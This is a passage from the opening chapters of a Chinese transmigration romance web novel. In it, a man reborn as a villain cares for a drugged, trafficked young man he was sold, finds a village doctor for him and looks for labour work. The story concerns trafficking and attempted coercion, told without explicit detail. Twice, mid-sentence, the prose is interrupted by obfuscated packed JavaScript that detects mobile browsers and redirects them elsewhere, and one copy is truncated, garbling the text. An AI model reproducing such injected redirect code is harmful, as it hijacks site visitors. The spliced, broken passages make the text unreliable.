《炮灰攻今天也在养夫郎[穿书]》 1. 第一章 宋泊还未理清楚现在是什么情况,就觉着手下一片热源,温度比他的体温还高上几分,触感光滑,一摸下去还有隐忍的呻吟声。 ……? 呻吟声? 宋泊迷蒙的脑袋瞬间就被冷水泼了一道,清醒起来,他睁眼一瞧,入目先是一片白皙的皮肤,随后他的眼神下移,被身//下人腰间的一颗朱砂痣吸引了视线,那颗痣鲜红、艳丽,宋泊的手不受控制地往前伸了些,在指尖即将碰到朱砂痣的时候,一抹布将朱砂痣遮掩了起来。 宋泊如梦初醒,意识到自己想要做什么,他羞愤地起身,从对方的身上下来。他虽未谈过恋爱,但没吃过猪肉还没看过猪跑吗? 他俩显然就是要做那档子事的前兆。 这站了起来,视角拉高不少,面前的情景就清晰多了。 床上躺了个美人,美人一双柳叶眉紧紧皱在一起,眉下的鹿眸因为含了眼泪而磷光熠熠,眉尾微微泛红,鼻梁精致小巧,红润的嘴唇被一块煞风景的破布给堵了起来。美人双手双脚都被麻绳绑着,麻绳绑得太紧,血液不循环让美人的指尖有些发紫,这般情景之下,美人有种被凌虐了的破碎美,反而会引起男人的兽性。 窗外的风呼啸而过,吹得本就挂在窗户上摇摇欲坠的窗框,不堪重负落在地上发出一声响声。 风吹了进来,宋泊瑟缩了一下身子,赶紧俯身,想把美人敞开的衣服拢上,不知道现在是什么时节,但不管什么时节,袒胸露乳被风吹上一阵子,总是要出事的。 不过美人显然是对他刚刚的行为有所防备,见宋泊又要靠近,他往后蠕动了两下,想离这个失控的禽兽远些。 可床毕竟就这么老大,这床还搁置在墙角,美人就算再蠕动,也是逃无可逃。 见美人的双眸眨了眨,有一种宁为玉碎不为瓦全的狠感,宋泊赶紧将他嘴上的破布拿了下来。 “你再靠近我,我就自杀,让你的二两白银付诸东流!”美人的声音不大,但因着嘴被堵了许久,带上了几分沙哑。 且不说什么二两白银,这可是一条活生生的人命,宋泊不可能看着别人在他面前自杀,他两手放在胸前,连连后退,生怕一个声音大了,崩断美人紧绷着的弦。 “啊……” 忽然,美人又呻吟了一声,他的双颊红色加深,喘息指尖他夹了夹腿,身上的衣服又往下落了些许。 宋泊喜欢男人,并且他还是个正常的男人,他深吸了口气,将心中的杂念摈除,然后他抽起被单,两手撑着猛地一挥,被单铺展开来,轻缓地落在美人身上。 接着宋泊把美人隔着被单直接捞了起来,抱出了房间,有原身的记忆在,他直接抱着美人到了厨房的储水缸边,将人丢了下去。 面前人明显是中了药的样子,此刻也管不上什么着不着凉了,先把那股邪火降下去才是真的。 美人不会水,四肢又被扎了起来,好在这水缸深度不深,堪堪没过美人胸前。 美人的状态反复无常,一会儿清醒一会儿又陷入□□之中,宋泊就守在水缸边,趁着这段时间正好可以捋一捋自己纷乱的思绪。 在二十一世纪见义勇为以后,他穿书了,穿到一本耽美虐受文中,文中主角受名为江金熙,是京城中高官的哥儿,因其父位高权重,也因他自身实在貌美,故而被歹人盯上,被谋害送到偏远村庄,为了生米煮成熟饭,破坏江金熙的身体及灵魂,歹人甚至还下了药,以二两银子贱卖给了炮灰攻。炮灰攻沾染赌瘾,父母双亡以后众叛亲离,用剩的银子买下了江金熙,爽过一夜以后,江金熙发了高烧,但炮灰攻并不管这事儿,拿着剩余钱出村继续赌,江金熙便趁着这个机会逃跑,没想到刚出虎穴又入狼窝,被村里指路之人骗回家中又是一顿凌辱,回来后的炮灰攻发现这是个商机,便卖着江金熙的身子赚钱,如此过了一年,江金熙忍辱负重借着任何机会送信,终于等来了青梅竹马的主角攻,主角攻是个将军,接到江金熙的第一件事就是将炮灰攻斩了,并且把他的脑袋高挂在村口泄愤,而后江金熙被接回京城,跟主角攻日久生情,主角攻却因为江金熙之前发生的事儿,只愿给江金熙一个偏位,江金熙嫁过去后好景不长,主角攻不断纳人入府,最终江金熙彻底失望,终身躲在将军府的偏院中,直到死去。 宋泊就穿成了文中会被挂在村口风吹日晒的炮灰攻。 想明白剧情,宋泊看向江金熙,若想躲过人头分离,那就得护着江金熙,让他好好度过这一年,没准到时他能念着自己的好,放他一马,然后他就销声匿迹,躲进山林之中,离主角们远远的,享受自己的又一人生。 “嗯......”江金熙哼了一声以后,身体渐渐划入水中。 宋泊眼疾手快,赶紧从木椅上站起来,捞住江金熙。 江金熙脑袋无力地靠在宋泊的小臂上,整个人软绵得像滩棉花,应当是昏了过去。 昏了也好,省得凭白遭受折磨。 宋泊拿过刚刚抱人来的被单,脑袋歪向一侧,盲抱起湿漉漉的江金熙,江金熙在水缸里乱动,衣服都被扯开了些,秉着非礼勿视,宋泊凭着手感把江金熙重新抱入怀中,这人跟羽毛差不多重,宋泊都怕这般抱着走出去在给大风吹走了。 回到卧房内,宋泊先给江金熙把手腕、脚腕上的绳子剪断,而后他拿过旁边一件破衣裳,衣裳虽破,但足以拦住眼前视野,他将衣裳系在脑袋上,衣袍垂下,遮住他的双眼,这般盲着将江金熙身上的水擦干净,套上一件宽松的干净衣服。 为了尽可能减少碰到江金熙的次数,宋泊特意挑了件原主的衣裳,原主骨架大,衣服宽大,好套,如此折腾一阵,江金熙怎样他是不清楚,自己却热了一身汗。 摘下照在脑袋上的衣裳,宋泊看着那块人型水印,想来今日只能在旁边的桌上凑合一宿了。 夜半,宋泊从木桌旁醒来,手臂被头枕着微微发麻,借着夜色,他去了趟茅厕,又想重新趴回桌上时,听见床那侧传来呢喃声,他轻手轻脚走过去以后,才听清江金熙说的是冷这个字。 什么人会说冷?那只有生病的人。 宋泊抬手以掌心碰上江金熙的额头,江金熙的额头像个刚出炉的蒸红薯一样,烫得吓人。 肯定是刚刚泡冷水着了寒,这才会发热起来。 古代不比现代,医疗条件没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309941|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那么好,小小的风寒都有可能带走人的生命。 原文中江金熙被炮灰攻折磨了一夜,也发了热,是生生扛过去的,由此可见江金熙带着主角光环,是不会那么轻易死去的。 但宋泊是个根正苗红的青年,不可能跟原身一样,放着患者不管,任他自生自灭。 窗外静悄悄的,连鸟儿声也无,这夜深人静正是好眠之时,上哪儿去找医生? 忽然,一个人选进入他的脑海之中。 原主的大姑,宋茶栽。 宋茶栽是村中有名的大夫,虽然比不得城中大夫,但一般的小病小热她都可以处理,故而村里人有了个头昏脑热,找的第一个人都是宋茶栽。 按理来说,原身与宋茶栽是亲戚关系,这般去找正是合适,可宋泊却十分苦恼。 苦就苦在原主跟这位大姑的关系是非常差劲,宋泊合理怀疑他现在找过去,只会被扫地出门。 在原主爹娘在世时,大姑一家与他家关系极好,是每周都会串三、四次门,今儿个在这家吃吃饭,明儿个去另一家吃吃饭的关系,但自从原主染上赌瘾,搞得家破人亡以后,宋茶栽与原身的关系就差了起来。她两次三番劝原身脱离赌海,甚至还帮原身还了几次赌债,却在一次偶然之中听着原主将她称为摇钱树,从此往后,宋茶栽是看见原身一次,就臭脸赶走一次。 原主真是不干人事。 宋泊叹了口气,就算是会被赶走他也得去试一试,不然等会江金熙给烧糊涂了去。 原主因着赌瘾极大,除去一些必须物,家中能变卖的东西都换了银两,宋泊想拎点东西上门,都没有东西给他。 宋泊在厨房里翻来倒去找了一阵,终于找着两个鸡蛋和一块都没有巴掌大的腊肉。 这样上门属实是有些磕碜,但这是宋泊能拿出来的最好的东西了。 死马当作活马医,宋泊觉着总得试试看,便将东西装入木筐之中,拎着去了宋茶栽家。 因着原身爹与宋茶栽关系很好,两家便建得挺近的。 宋泊瑟缩了下身子,倒不是害怕,是有些凉了,入了夜太阳落下,这气温就落了下去,在凌晨的时候,落至最低。 走了大概一公里,宋泊看见一个砌了篱笆的小院子,篱笆又齐又密,显然是下了功夫的。他停在门口处,院门是用木头制成的,拍起来的声音明显。 砰砰两声以后,院内人没有回应。 宋泊低头看了自己的手掌一眼,而后握了下拳头又松开。 接下来,两声震天的拍门声,终于将里头住着的人吵醒了。 宋泊叹了口气,还好宋茶栽的家离村里其他家有些距离,不然半夜这样吵闹,他有些良心不安。 “谁啊。”里头传来一个中年妇女的声音,接着木门被拉开了来。 宋茶栽打着哈欠,一看见门口的不速之客,哈欠打一半就停了下来,她嘴角下摆,直接将木门关上。 宋泊眼疾手快,将手拦在门缝之中,宋茶栽关门的力道实在是大,两个门板夹得他没忍住倒吸了一口凉气。 宋茶栽惊呼一声,赶紧将门板拉开,“你这是做什么?” 2. 第二章 宋泊知道原主与宋茶栽的关系,也没想着宋茶栽能笑脸相迎,能用手拦住宋茶栽,没让她将门关了起来,就已经算是成功了。 “大姑。”宋泊将木筐拿出来,“我有一事相求。” 听着这话,宋茶栽就知道宋泊这是黄鼠狼给鸡拜年,没安好心。宋泊这次上门居然还拎上了东西,可见这次欠的银两肯定不少。 宋茶栽帮了宋泊几次没讨着好还挨了顿背后骂,心早就寒了下来,她直言道:“没钱,你找别人吧。”说着又要将木门关上。 宋泊再次抬手拦门,宋茶栽怕把宋泊的手又夹了,这次关门的力道轻了很多。 说到底是自己的侄子,宋茶栽不敢下狠手。 “不是的大姑,这次跟赌没有关系。”宋泊尽量放轻了语气,短短一会儿他已经摸清了宋茶栽的脾性,她就是普通的中年女性,心性善良对自家人狠不下心来,也就只有这样的人,才会几次想扶起原身这块烂泥。 宋茶栽没有说话,只是拉门的手停了下来。 “我买来的夫郞病了,想请大姑过去瞧瞧。”宋泊说。 宋泊在来的路上已经想好了措词,与其给江金熙编个莫须有的身份,而后被拆穿又掉一波信任感,还不如直截了当地告诉宋茶栽,他就是买了个夫郞,反正以原主的人渣性子,忽然买个夫郞也是正常的。 “你!”宋茶栽一听就怒了,她左右张望着,从木门边儿拿了个木制扫帚,朝宋泊的大腿侧面就是一下,“你倒是胆儿越来越肥了,赌也就算了,那嚯嚯的是你自己,现在倒是祸害别人了?”说着朝宋泊的背又是一下。 宋泊心甘情愿地扛下宋茶栽的打,哼也没有哼一声,毕竟无论如何,江金熙已经是他的夫郎了。 见宋泊闷声挨打,宋茶栽心底生出一股说不出来的滋味,“你倒是说话啊!” “怎的如此吵闹?”宋茶栽的夫君刘南民从卧房里走了出来。 刘南民不喜欢自家娘子的这个侄儿,但他到底与自家娘子一脉相连,他也就总是睁一只眼闭一只眼,全看宋茶栽的意思。以往这个侄子儿来,宋茶栽两下就给赶走了,这次不仅没赶走还闹了起来,刘南民这才出来,若是宋泊敢与宋茶栽动手,他就得使使姑父的权利了。 见宋茶栽真的是动了气,刘南民怕她气晕过去,几步走到宋茶栽身旁,抓住她的手,“小心些,气性这么大等会昏头了。” 得亏有刘南民拦着,宋泊才得了个喘息的空,“大姑,”宋泊喘了两口气,咽下口唾沫,说道:“咱们先救人,之后我任由你打骂。” “救人?”刘南民拿过木扫帚,顺了顺宋茶栽的气。 “是,先救人。”宋茶栽打了宋泊几下,每下都使了大劲,这一通打下来,给她累着两手撑着腿膝盖喘了几个大气。 刘南民跟宋茶栽几十年的夫妻了,这点儿默契还是有的,他把扫帚放好,转身回卧房内把宋茶栽的诊盒拿了出来。 宋茶栽稍微缓和了些,只不过出门时狠狠瞪了宋泊一眼,颇有些等会儿再跟你算账的意思。 宋茶栽没有收宋泊拿来的东西,但送出的东西哪儿有放回去的道理,在宋茶栽和刘南民都出了院子以后,宋泊把木筐留在院子边,顺手将院门关上。 本就短的路程加上宋茶栽心急如焚,几分钟就到了宋泊家,宋茶栽刚进院就问道,“人在哪里?” “大姑,人在这儿。”宋泊长腿一跨,超越两人走到前头,给他们领路。 进了卧房,宋茶栽一眼就看着在床上躺着的满面泛红的江金熙。 不得不说,宋泊真的是踩着狗屎,撞大运了。 村中穷人家没钱正儿八经明媒正娶女子,就只能花些钱买些哥儿,宋茶栽虽然不赞同这般做法,但她毕竟是活在村中,不好以一人之力反驳恶俗,就只能眼不见心不烦。那些人买的哥儿她瞧过几次,不是瘦得如干柴,就是黑得如煤炭,哪儿有像床上躺着的天仙儿人。 宋茶栽越来越怀疑宋泊了,别是买来这两个字是唬她玩儿的,实际这人儿是他用了歪门邪道拐来的。她扭脸看了眼宋泊,浓密的剑眉底下是一双颇具风情的丹凤眼,鼻梁高挺,橙红色的薄唇松弛地闭着,明明人长得也不错,怎的总是做这些会被天打雷劈的坏事。 “大姑,你看看吧。”引着人到了床边以后,宋泊侧身让至一旁,看病这事儿他出不上力,往边上稍稍还能腾出个光亮来。 宋茶栽把诊盒放在地板上,她歪着屁股一坐,侧着坐在江金熙的身旁,接着她稍稍撸起江金熙左手衣袖,一道显眼的勒痕映入眼中。宋茶栽深吸几口气,在心底劝自己先按捺住怒火,看完病开了药以后再找宋泊算账。 看着那道勒痕,宋泊咯噔一下,着急找宋茶栽给江金熙看病,都忘记勒痕这事儿了,他看着宋茶栽明显黑下来的脸色,这锅他肯定是背定了。 带着岁月痕迹的手搭上江金熙白皙细嫩的手腕上,形成鲜明的对比,宋泊不合时宜地出神,江金熙不愧是贵族世家的哥儿,虽然性别上不占优势,但家中却是极其宠爱他,不然也不会将人养得如此娇嫩。如花儿般的江金熙本该在京城内安度一生,却被陷害到了偏远山村,经历一系列的欺辱以后,还没得到一个完美的结局,宋泊不禁思考,作者其实对江金熙是没有爱的。 过了一会儿,宋茶栽收回手,狠狠剐了宋泊一眼,随后才打开诊盒,写下药单。 等宋茶栽一套流程完毕以后,宋泊才挪到她身旁,轻声问道:“大姑,他还好吗?” “都是你干的好事。”宋茶栽不敢太大声吵醒病患,这句话是从后槽牙里生生挤出来的。她将药单拿给刘南民,自己则拽着宋泊出了门。 宋泊家中没有煮药的器具,刘南民拿着药单先一步回家抓药煮药,门外微风吹过,只剩宋泊和宋茶栽两人站在院子之中。 “宋泊,你自个儿承认,这人究竟是怎么来的。”宋茶栽说。 自愿卖哥儿和拐卖人口可是两回事,大恒律法严抓拐卖人口,这要是报了官,可是会被抓到牢里打三十大板的。宋茶栽虽然不喜欢她这个侄儿,但还是不愿在牢中看着他。 “我买的。”宋泊道。 宋茶栽接着问道:“多少银两?” “二两。” 宋茶栽笑了一声,随后踮着脚尖拧住了宋泊的耳廓,一米八几的大高个硬是被她拉得弯下了。 “二两银子买个普通村里哥儿都不够,你能买着他?”宋茶栽毫不客气地说道:“我是年纪大,但不是傻了。” 在原世界都没有被揪过耳朵的宋泊倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼见着砂锅中的药水越来越黑,空气中的药味越来越重,宋泊问道:“姑父,这药还有多久能好?” “马上了。”刘南民瞧了几眼又闻了闻味,他头也没转地抬起右手,说:“拿碗来。” 宋泊赶紧从灶台台子上拿了个碗,这碗不大不小,刚好能将全部的草药水装入其中。 “行了,送去吧。”刘南民双手按着膝盖就想起身,但因着在小板凳上坐得久了,双腿僵硬不说,脑壳还有些发晕。 宋泊把碗拿至左手,右手有力地扶住了刘南民的胳膊,将他从小板凳上扶了起来。 那阵劲头过了以后,刘南民才有些尴尬地拂落宋泊的手,“就没睡好,有点儿起晕了。” “现在呢?好些了吗?”宋泊问。 “好了好了。”尴尬过后有几分挂不住面儿,刘南民将东西收拾收拾,边收拾边赶人,“赶紧去,等会凉了白煮。” “那我去换大姑回来,让她给你瞧瞧。”说着,宋泊就端着碗出了宋茶栽家。 刘南民两手垫着布拎着刚用好的砂锅看着宋泊的背影,这侄子好像跟以往有些不同了。 3. 第三章 为了不让药水被秋风吹冷,宋泊是疾走回家的。 宋茶栽坐在床边照顾着江金熙,听着动静她转头:“药拿来了?” “嗯。”宋泊摸了摸碗边,还有一点儿温度,他回来以后,照顾江金熙的活便可以接手,他道:“刚刚姑父起来的时候有些头晕,大姑你得回去瞧瞧。” “什么?”宋茶栽一下就从床上站了起来,“那你赶紧把药给我,我喂了再走。” “我能喂药,你放心回去。”宋泊说。 宋泊会喂药,那不如让她相信猪会爬树了,听着自家夫君犯了头晕,宋茶栽只想快些回去,这一急,语气都带上了些急躁,“别浪费时间,快给我。” 说话总是不如行动来得直接,宋泊从厨房里拿了支木筷子,细头抵进江金熙的唇内,而后他舀起一勺药水,药水沿着汤匙壁贴着筷子,一滴未漏地流进江金熙的口中。 这喂药动作熟练得宋茶栽都有些震惊了,难道以前是她误解了?其实宋泊一直都是个细致的人? 这个想法仅仅出现三秒,就被宋茶栽否定了,只是会喂药而已,并不能抵消他之前的恶行。 宋茶栽心里还记挂这刘南民,既然宋泊会喂药,她也乐得清闲,“整碗都喂了,别贪懒。” “我知道的。”宋泊答。 宋茶栽走了以后,宋泊才开始一下一下慢慢喂药,江金熙不能自己喝药就只能等着前一勺的药水全都进去以后,才能接上下一勺。 这般靠近了些,宋泊才发现这人是真的长得很漂亮,双眼放松地闭着,睫毛很长,比起醒着时候的紧绷,现下多了几分松弛,宋泊因着喂药又俯身离江金熙近了些许,却连个毛孔都没看见,真真肤如脂玉。 难怪文中那些男的看着江金熙都把持不住自己,他确实是有令人色欲脑昏的能力。 将一碗药全都喂入江金熙的口中,宋泊酸得手臂发麻,喂病人又需要细致又需要耐心,稍一不注意筷子歪了来,药水就会流到人的面上,最终落入床单之中。 这么一折腾,天边都有了一丝丝光亮,宋泊困得很,看着那抹晨光他急忙趴回卧室中的木桌上,能睡多久就偷着睡一些。 江金熙睁眼时,被阳光刺得睁不开眼,他偏了下脑袋,才看清这个陌生的地方。 这个床就是个普通木床,没有贵族家中的床顶,所以江金熙一眼便瞅着天花板上的木桩,他这才想起来,自己被卖了,还是以二两银子的价格卖给了一个山中村夫。 想到这个,江金熙放在身侧的手不自觉地抓紧了床单,害他的人是谁他不知道,但肯定是某个跟爹爹站对立面的官员干的。 现下他有些进退两难,那些个躲在暗处的人必定还盯着他,他只能在这个村中待着,最好是像被胁迫那般。 江金熙慢慢转头,眼神落在前面几米处侧躺着睡得正香的宋泊面上,若是待在村中,这男子又会像个登徒子一样对他图谋不轨,哥儿的力量不抵男子,要是昨天晚上那事儿再发生一次,他真的要以死明志了。 对了!守宫砂! 江金熙背过身子,躲在被子里小心翼翼地撩开衣服,发现腰上的红点儿还在,这才放下心来。 听着背后忽然有了动静,江金熙眼睛一闭,装睡起来。他还没有想好怎么面对宋泊,只能先用这种方式躲躲。 宋泊伸了个懒腰,身上骨头嘎吱嘎吱响,他大抵睡了一个时辰,虽然不久,但足够他稍微缓和缓和。 江金熙听着身后脚步声渐近,心跳扑通扑通跳得极快,他盖在被子底下的手揪住被单,强行装作熟睡的样子。接着,一只带着温度手覆上他的额头,耳朵上方传来男子的声音,“还好,可算是退烧了。” 摸过他脑袋,男子就离他远了,出了房门。 江金熙这才有时间翻过身来,他漂亮的眸子盯着天花板,有些不明白刚刚发生了什么。 近里村的村子用水并不方便,除了里正家中有口水井以外,村里人想要用水都得去天溪河边抬水。 昨日厨房水缸中的水被江金熙泡过以后已经脏了,宋泊只能将缸中水倒掉,然后拿上木桶到天溪河边打水。 天溪河作为近里村的母亲河,河岸边围绕着不少人,有抬水的青年人、洗衣服的妇人、嬉戏玩耍的孩童、聊着家长里短的老人,按理来说这么多人,宋泊应当会被挤着才是,可他到河边以后,就跟身上带了病毒似的,周围人离他都有几十米远。远也就算了,老者还会把自家孩子拉到身边,在孩子耳边絮絮叨叨说什么。 宋泊这才对原身的人缘有了实质的了解。 也罢,反正他也刚到这个世界,多余的人际关系对他来说反而还有些麻烦。 宋泊蹲在河边,河水冰凉刺骨,扑在脸上十分冻人,借着河水的倒影,宋泊将自己收拾干净,装了满满一桶水回家。 现在日头正好,应当煮顿早餐,但古代的灶台宋泊不会使,身上又没有分文银两,就算他再不愿,现在也只能厚着脸皮去宋茶栽家蹭顿饭。 宋泊轻车熟路地走到宋茶栽家门口,因着现在已是白日,会有来找宋茶栽看病的人,所以她家大门敞开着。宋泊走进宋茶栽家的院子,第一件事就是看看他昨日放着的竹筐被拿走没。 “别看了,后悔已经来不及了。”宋茶栽的声音从宋泊的脑后传来。 宋泊心里一喜,他转过头来,唤了一声“大姑”。 宋茶栽并没有应声,但是脸色不比前夜那般黑。 想要蹭饭就得扮可怜,宋泊几步走到宋茶栽身边,像狗儿一般闻了闻,道:“什么香味,这么香?” 现下能有什么味道,不过就是她放在炉子上蒸的馒头出了甜香,宋茶栽余光瞥了宋泊一眼,明白了他来的目的。 “好像是馒头香,”宋茶栽没有搭话,宋泊也不觉得尴尬,他自说自话着:“我还没有吃早饭呢,正好可以体验下大姑的手艺。” 宋茶栽没想到宋泊能这么厚脸皮,主人家没邀请,他却能自己给自己捞上几个馒头。 尽管昨日宋泊喂药让她有些改观,但她还是没有原谅宋泊之前的恶言风语,她道:“你就在这里站着。” 宋泊乖巧地点了头,站在原地一动不动。 宋茶栽进房没多久,一手端着一药,一手拿着木筐出来,宋泊觉着那个木筐很是眼熟,瞄到木筐右侧第二根木条上有裂痕以后,他才确信这个木筐是他昨日拿来的木筐。 宋茶栽把木筐和碗都交到宋泊手里,硬邦邦地说着,“碗洗干净记得拿回来。” 木筐里盖着白色布,隐隐有热气漫出,应当是装了 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“起来把饭和药吃了。”宋泊的语气不算友善,但动作却很温柔。 这般突兀的感觉是宋泊装出来的,原剧情中江金熙离了这个家便会被其他人抓回去凌辱,宋泊虽然不想摊上原主受这个麻烦,但他也不愿看着一个活生生的人被拉入淤泥之中,权衡之下,他决定将江金熙留在家中,而为了让江金熙不敢乱跑,宋泊就得利用一下原主的性格,让江金熙知道买了他的人是个人渣,多少应该会有些忌惮的。 “嗯。”江金熙从床上起来,因着昨日烧了一夜,身体软绵绵地使不上劲,他心中着急想从床上起来,却越急越忙,最终他只能把目光投向那个双手环胸一直盯着他看却无动于衷的人。 “那个......我起不来身。”江金熙眼眸自下而上看着,黑水晶般的瞳孔露着隐隐约约的无助。 宋泊其实在他第一下折腾的时候就想去帮忙,但碍于他的人设,他还是决定定在了原地,袖手旁观。 其实此处最好是加一句刻薄的话来奠定人设,但宋泊毕竟不是真的人渣,语库里没有存脏话,他就只能闭着嘴,脸上表现得非常不耐烦......然后轻柔地把江金熙从床上扶了起来。 把人扶到木桌边坐好,宋泊拍了拍手继续双手环胸,像一尊雕像一样,站在江金熙的斜后方,“我还有其他事要忙,你最好是快点将馒头和药吃完。” 江金熙怯弱地点头,他装着害怕地拿起馒头,小口小口地吃着。他已经想明白要暂时留在宋泊家中,比起外头躲着的财狼虎豹,明面上的人渣会更好对付一些。这类人一般都喜欢掌控他人的感觉,他就需要装得像小白兔。 “你已经是我的夫郞,最好是别想逃跑。”宋泊步子一跨,在江金熙对面坐下,他手摸着下巴,说:“村子就这么大,你若敢跑,这后果......”这句威胁不仅有助于树立他的人渣形象,还可以压制江金熙的出逃之心,可谓是一举两得。 江金熙悄悄地瞄了宋泊一眼,话是威胁的话,可他怎么听怎么觉得没有威胁人的力道,以往爹爹凶他的时候,可比面前这个人凶多了。 不过他还是垂着眸子,应声,“嗯,我知道的。” 4. 第四章 宋泊拿回来的药实在是苦,江金熙喝了以后面容都皱在一起,他忽然就有些想家了,以往他病了的时候,娘亲都会备着果脯的。 眼睛微微有些发酸,江金熙借着放碗的动作,抹了把面,现在的情况不允许他软弱。 宋泊将空碗洗了,等他回来之时,江金熙已经自己爬回了床,只是被子盖得不是很好,手和脚都落在了外头。 宋泊铁着面,走过去将被子拉好,“休想再花我一分银两。” 表演好人渣以后,宋泊将碗重新送回宋茶栽家。现下有个妇人来看病,瞅着这从来没见过的宋泊,她撇眉,扭过头跟宋茶栽说:“他怎的来了?” “来还我碗了。”宋茶栽一手搭上妇人手腕,一边唤着,“宋泊过来,跟里正夫人杨氏打个招呼。” 宋泊乖乖走到宋茶栽身后,弯腰行礼,道:“夫人好。” 杨绘两眼眨了眨,觉着自己听错了。她作为里正夫人,自然听过她夫君谈论村中之事,这宋家的宋泊便是最大的一个刺头,正事一件不做,赌瘾倒是越来越大,都成了年,每年的赋税还得由宋茶栽来操心,这样的人哪个村子都不会欢迎的。 杨绘轻哼一声,算是回应。 宋茶栽说:“碗放下你可以走了。”现在家中的病患有些多,宋茶栽没空管宋泊。 想要打听赚钱的活,还得找宋茶栽,不过现在宋茶栽很忙,宋泊便没强行要在现在问个明白。 刘南民并不是全职帮宋茶栽的,因着草药很贵,所以刘南民将自家的田都用来种草药了,草药不比粮食,施肥用水都得非常精细,刘南民今日便是扛了水去田中,给草药浇水。 宋茶栽写下个药方,转身就抓药去了,宋泊站在一旁,看着宋茶栽包药,只看一次,他便能跟着上手包药。 一开始宋茶栽还有心阻拦,看着宋泊顺利包完一包以后,她就收了这个心思,她低着头,不留痕迹观察宋泊的手,宋泊手指灵活,包药的纸在他手中听话得不行,三两下就将药包包好,叠在一旁。 “既然你包药这么厉害,边儿上的也包了。”宋茶栽说。 宋泊转眸看着桌子另一侧,那边摊着少说十包未包的药草,应了声,“是。” 虽说前头是他擅自上手,但现在宋茶栽说了这话,那就是稍微松了气,消除人与人之间的裂隙,就得从这些个小事入手,循序渐进,潜移默化。 “你那么放心?”杨绘接过包好的药拎在手中,“不怕他给你偷拿药材出去卖了?” “应该不会。”话是这么说,但宋茶栽其实一直悄悄观察着宋泊的动作,他的手挺老实,一下也没有多抓。 “你就是太好心,家底都被他掏空了你才知道哭。”杨绘很是心疼自家姐妹,不过到底是别人的家事,她也不好硬插手,只能嘴上说道几句。 “我知的。”宋茶栽道。 杨绘走后,宋茶栽就空闲了下来,她检查了下宋泊包的药包,确定都完好无损以后,才拉着椅子坐下,“说吧,又有什么事。” 宋泊也给自己拉了把凳子来,“我想问问大姑,传福镇上可有什么活儿可干。” 传福镇是离近里村最近的镇子,原主赌博便是去那儿赌的。 听到这话,宋茶栽喝茶的动作一顿,原来昨夜和今日的感觉不是错觉,宋泊好像发生了些许改变。 宋茶栽也不想再在这个时候打击宋泊的积极性,虽然她对宋泊究竟愿不愿意干活儿这件事还是存有疑心的,毕竟宋泊从小到大,从来没有给谁做过活,吃的全是家中老本。 宋茶栽缓缓抬起手,一口热茶顺着喉咙顺入口中,她细细想了想,正值秋收,好像是有看到招短工的告示,不过都是些不讨好的苦力活,酬金又很少。普通百姓除非是揭不开锅的人可能去做工,其他人根本看不上这活儿,就是这种完全不需要技术含量的活,正适合啥也没做过的宋泊。 “进了镇你看着那些招工的告示,直接撕了去找工头就是。”宋茶栽道 宋泊一下便抓着重点,“工头”这两个字听着就不像闲活的老板,不过他初来乍到,那些带着技术性的活也轮不着他,“依你看,我现在去还来得及吗?” 刚刚耽搁了一阵,太阳已经接近正上空,快到午时了,现代没有人会招半天的工,不知道古代与现代有没有区别。 “什么时候去都来得及。”宋茶栽把宋泊的言辞当成退堂鼓,心想他又是嘴上说说而已。正是用人之际,有人愿意帮着干活就谢天谢地了,哪儿会嫌弃只做半日。 宋泊起身朝宋茶栽鞠了一躬,“那就麻烦大姑中午和晚上帮我给金熙送下饭和药。” “你......”宋茶栽这下是真的惊讶了。 宋泊抬腿要走,忽然想着自己两袖空空,他有些不好意思又掉头回来,语气中沾了些扭捏,“大姑,你能借我些钱吗?几钱就行。”在现代都没借过钱的宋泊倒是在这儿贡献了第一次。 “拿去吧。”宋茶栽将杨绘给的看病钱全都给了宋泊,因着杨绘只是生了个小病,所以给的银钱并不多,不过三十钱,但足以一个成年男性在镇里度过几日了。 “谢谢大姑,我会还钱的。”宋泊落下这话,出了宋茶栽家。 宋茶栽拿着细麻绳将宋泊包好的草药包绑起来,借给宋泊的钱她本就没想着要回来,就当是最后一次,她想再扶宋泊一次。 出了宋茶栽家,宋泊凭着原主的记忆,一路徒步到了传福镇,边上路过有坐驴车、牛车的,不过宋泊还是选了徒步,一方面省了钱,一方面也是熟悉路线。 传福镇算是一个大镇,来来往往百姓众多,宋泊跟着人流穿过石砖砌成的镇门,记忆中的场景生动地展现在了他的面前,此刻,宋泊才有一种真正到了古代的感觉。 摊贩们吆喝着自己的商品以及价格,宋泊便偷摸着熟悉恒国的物价,一斗米二十文,一颗苹 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船老板这么说也实属正常,跟其他工人比起来,宋泊这身子确实有几分单薄,这都是因为原主爱喝酒不锻炼。 “我能搬的。”宋泊说,他才刚来到这个世界,要赚急钱只能出售体力。 船老板一努嘴,“喏,那儿就有一箱货物,你能扛到肩上,我就允许你在这儿做工。” 宋泊顺着看去,货物用麻袋装着,麻袋鼓鼓的,看着就不轻,他两步走过去,找着两个比较好着力的点,攥起麻袋。 果然如宋泊所料,这麻袋确实不轻,约有50斤重,双手抱起来都有些吃力。 船老板一看宋泊的动作,就知道他没有搬过重物,他搬货一点技巧也没有,想要抱起这50斤的货物哪儿有那么容易,“搬不起来就趁早放弃,去找些轻松点的活儿吧。” 宋泊的字典里就没有放弃两个字,他一咬牙,膝盖往上一顶,借着惯性将货物丢上肩膀,霎时间他被压得腰都弯了几分。 船老板也是说到做到,他道:“算你厉害,直接搬上船吧。” 等宋泊将一袋货物搬上船又折返以后,船老板才与他说起薪资,“一日工资十文,运上一袋货物多加一文,每日一结,直至货物运完为止。”船老板转了下小马扎,继续躲在阴影之中,“你下午才来,今日就只能从五文往上加。” 